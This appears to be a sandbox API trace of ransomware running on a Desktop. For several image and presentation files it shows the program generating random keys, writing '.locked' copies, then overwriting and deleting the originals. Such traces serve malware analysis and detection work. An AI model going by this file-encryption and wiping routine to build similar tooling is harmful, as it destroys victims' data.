	[0069.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YOfE_up0byG PSSN0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yofe_up0byg pssn0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.106] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YOfE_up0byG PSSN0.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yofe_up0byg pssn0.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.106] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.107] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0069.107] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0069.107] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0069.107] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.109] SetEvent (hEvent=0xb4) returned 1
	[0069.109] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x15581, lpOverlapped=0x0) returned 1
	[0069.112] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15581, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x15581, lpOverlapped=0x0) returned 1
	[0069.113] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.113] CloseHandle (hObject=0xc4) returned 1
	[0069.115] CloseHandle (hObject=0xc0) returned 1
	[0069.115] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.116] SetEvent (hEvent=0xb4) returned 1
	[0069.116] SetEvent (hEvent=0x78) returned 1
	[0069.116] SetEvent (hEvent=0x80) returned 1
	[0069.116] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.116] SetEvent (hEvent=0x80) returned 1
	[0069.116] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x40) returned 1
	[0069.118] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YOfE_up0byG PSSN0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yofe_up0byg pssn0.png")) returned 1
	[0069.137] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.137] SetEvent (hEvent=0xa8) returned 1
	[0069.137] SetEvent (hEvent=0x78) returned 1
	[0069.141] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.142] SetEvent (hEvent=0x78) returned 1
	[0069.142] SetEvent (hEvent=0x80) returned 1
	[0069.142] SetEvent (hEvent=0xb4) returned 1
	[0069.142] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.142] SetEvent (hEvent=0xb4) returned 1
	[0069.144] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.144] SetEvent (hEvent=0xb4) returned 1
	[0069.144] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.145] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.145] SetEvent (hEvent=0xb4) returned 1
	[0069.145] SetEvent (hEvent=0x80) returned 1
	[0069.145] SetEvent (hEvent=0x78) returned 1
	[0069.145] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.145] SetEvent (hEvent=0x78) returned 1
	[0069.145] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YOfE_up0byG PSSN0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yofe_up0byg pssn0.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.146] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0069.147] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.162] CloseHandle (hObject=0xc0) returned 1
	[0069.184] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YOfE_up0byG PSSN0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yofe_up0byg pssn0.png")) returned 1
	[0069.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvYs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvys.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab11a4a0, ftCreationTime.dwHighDateTime=0x1d4c7e7, ftLastAccessTime.dwLowDateTime=0x92b9ca70, ftLastAccessTime.dwHighDateTime=0x1d4d216, ftLastWriteTime.dwLowDateTime=0x92b9ca70, ftLastWriteTime.dwHighDateTime=0x1d4d216, nFileSizeHigh=0x0, nFileSizeLow=0x6ffb)) returned 1
	[0069.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvYs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvys.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.194] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvYs.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvys.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.194] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.195] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0069.195] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0069.195] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0069.195] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.197] SetEvent (hEvent=0x80) returned 1
	[0069.197] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x6ffb, lpOverlapped=0x0) returned 1
	[0069.198] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x6ffb, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x6ffb, lpOverlapped=0x0) returned 1
	[0069.199] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.199] CloseHandle (hObject=0xc4) returned 1
	[0069.200] CloseHandle (hObject=0xc0) returned 1
	[0069.200] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.201] SetEvent (hEvent=0x80) returned 1
	[0069.201] SetEvent (hEvent=0x78) returned 1
	[0069.201] SetEvent (hEvent=0xb4) returned 1
	[0069.201] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.201] SetEvent (hEvent=0xa8) returned 1
	[0069.201] SetEvent (hEvent=0xb4) returned 1
	[0069.201] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x33) returned 1
	[0069.206] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvYs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvys.gif")) returned 1
	[0069.224] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.224] SetEvent (hEvent=0xa8) returned 1
	[0069.224] SetEvent (hEvent=0x78) returned 1
	[0069.228] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.229] SetEvent (hEvent=0x78) returned 1
	[0069.229] SetEvent (hEvent=0xb4) returned 1
	[0069.229] SetEvent (hEvent=0x80) returned 1
	[0069.229] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.229] SetEvent (hEvent=0x80) returned 1
	[0069.231] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.231] SetEvent (hEvent=0x80) returned 1
	[0069.231] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.231] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.232] SetEvent (hEvent=0x80) returned 1
	[0069.232] SetEvent (hEvent=0xb4) returned 1
	[0069.232] SetEvent (hEvent=0x78) returned 1
	[0069.232] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.232] SetEvent (hEvent=0x78) returned 1
	[0069.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvYs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvys.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.233] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0069.233] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.251] CloseHandle (hObject=0xc0) returned 1
	[0069.259] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YvYs.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yvys.gif")) returned 1
	[0069.268] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZRlfl3nCYB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrlfl3ncyb.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc3310, ftCreationTime.dwHighDateTime=0x1d4ce0a, ftLastAccessTime.dwLowDateTime=0x2db89b70, ftLastAccessTime.dwHighDateTime=0x1d4cd83, ftLastWriteTime.dwLowDateTime=0x2db89b70, ftLastWriteTime.dwHighDateTime=0x1d4cd83, nFileSizeHigh=0x0, nFileSizeLow=0x595e)) returned 1
	[0069.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZRlfl3nCYB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrlfl3ncyb.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.269] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZRlfl3nCYB.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrlfl3ncyb.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.269] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.270] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0069.270] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0069.270] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc101 | out: pbBuffer=0x123bc101) returned 1
	[0069.270] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.272] SetEvent (hEvent=0xb4) returned 1
	[0069.272] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x595e, lpOverlapped=0x0) returned 1
	[0069.274] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x595e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x595e, lpOverlapped=0x0) returned 1
	[0069.274] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.274] CloseHandle (hObject=0xc4) returned 1
	[0069.275] CloseHandle (hObject=0xc0) returned 1
	[0069.276] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.276] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.276] SetEvent (hEvent=0xb4) returned 1
	[0069.276] SetEvent (hEvent=0x78) returned 1
	[0069.276] SetEvent (hEvent=0x80) returned 1
	[0069.276] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.277] SetEvent (hEvent=0x80) returned 1
	[0069.277] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x39) returned 1
	[0069.278] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZRlfl3nCYB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrlfl3ncyb.gif")) returned 1
	[0069.297] SetEvent (hEvent=0x78) returned 1
	[0069.302] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.302] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.302] SetEvent (hEvent=0x78) returned 1
	[0069.302] SetEvent (hEvent=0x80) returned 1
	[0069.302] SetEvent (hEvent=0xb4) returned 1
	[0069.302] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.302] SetEvent (hEvent=0xb4) returned 1
	[0069.304] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.304] SetEvent (hEvent=0xa8) returned 1
	[0069.304] SetEvent (hEvent=0xb4) returned 1
	[0069.305] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.305] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.305] SetEvent (hEvent=0xb4) returned 1
	[0069.305] SetEvent (hEvent=0x80) returned 1
	[0069.305] SetEvent (hEvent=0x78) returned 1
	[0069.305] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.306] SetEvent (hEvent=0xa8) returned 1
	[0069.306] SetEvent (hEvent=0x78) returned 1
	[0069.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZRlfl3nCYB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrlfl3ncyb.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.307] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0069.307] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.561] CloseHandle (hObject=0xc0) returned 1
	[0069.569] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZRlfl3nCYB.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zrlfl3ncyb.gif")) returned 1
	[0069.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0069.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eRx-cZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erx-cz.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34682df0, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0xfe2aa1d0, ftLastAccessTime.dwHighDateTime=0x1d4d54a, ftLastWriteTime.dwLowDateTime=0xfe2aa1d0, ftLastWriteTime.dwHighDateTime=0x1d4d54a, nFileSizeHigh=0x0, nFileSizeLow=0xaa3b)) returned 1
	[0069.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihBRwI9DVtya7Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihbrwi9dvtya7z.pptx"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec006e0, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0x67fc40c0, ftLastAccessTime.dwHighDateTime=0x1d4d12f, ftLastWriteTime.dwLowDateTime=0x67fc40c0, ftLastWriteTime.dwHighDateTime=0x1d4d12f, nFileSizeHigh=0x0, nFileSizeLow=0x17cd0)) returned 1
	[0069.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihBRwI9DVtya7Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihbrwi9dvtya7z.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.579] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihBRwI9DVtya7Z.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihbrwi9dvtya7z.pptx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.635] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.642] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4c0 | out: pbBuffer=0x1238c4c0) returned 1
	[0069.642] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a82e0 | out: pbBuffer=0x127a82e0) returned 1
	[0069.642] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0069.642] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.644] SetEvent (hEvent=0x80) returned 1
	[0069.644] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x17cd0, lpOverlapped=0x0) returned 1
	[0069.647] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x17cd0, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x17cd0, lpOverlapped=0x0) returned 1
	[0069.648] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.648] CloseHandle (hObject=0xc4) returned 1
	[0069.652] CloseHandle (hObject=0xc0) returned 1
	[0069.652] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.664] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.665] SetEvent (hEvent=0x80) returned 1
	[0069.665] SetEvent (hEvent=0x78) returned 1
	[0069.665] SetEvent (hEvent=0xb4) returned 1
	[0069.665] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.676] SetEvent (hEvent=0xa8) returned 1
	[0069.676] SetEvent (hEvent=0xb4) returned 1
	[0069.677] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3e) returned 1
	[0069.691] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihBRwI9DVtya7Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihbrwi9dvtya7z.pptx")) returned 1
	[0069.709] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.722] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.722] SetEvent (hEvent=0xa8) returned 1
	[0069.722] SetEvent (hEvent=0x78) returned 1
	[0069.727] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.736] SetEvent (hEvent=0x78) returned 1
	[0069.736] SetEvent (hEvent=0xb4) returned 1
	[0069.736] SetEvent (hEvent=0x80) returned 1
	[0069.736] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.851] SetEvent (hEvent=0xa8) returned 1
	[0069.851] SetEvent (hEvent=0x80) returned 1
	[0069.853] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.853] SetEvent (hEvent=0x80) returned 1
	[0069.853] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.853] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.854] SetEvent (hEvent=0x80) returned 1
	[0069.854] SetEvent (hEvent=0xb4) returned 1
	[0069.854] SetEvent (hEvent=0x78) returned 1
	[0069.854] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.854] SetEvent (hEvent=0xa8) returned 1
	[0069.854] SetEvent (hEvent=0x78) returned 1
	[0069.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihBRwI9DVtya7Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihbrwi9dvtya7z.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.855] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0069.856] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.873] CloseHandle (hObject=0xc0) returned 1
	[0069.883] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ihBRwI9DVtya7Z.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ihbrwi9dvtya7z.pptx")) returned 1
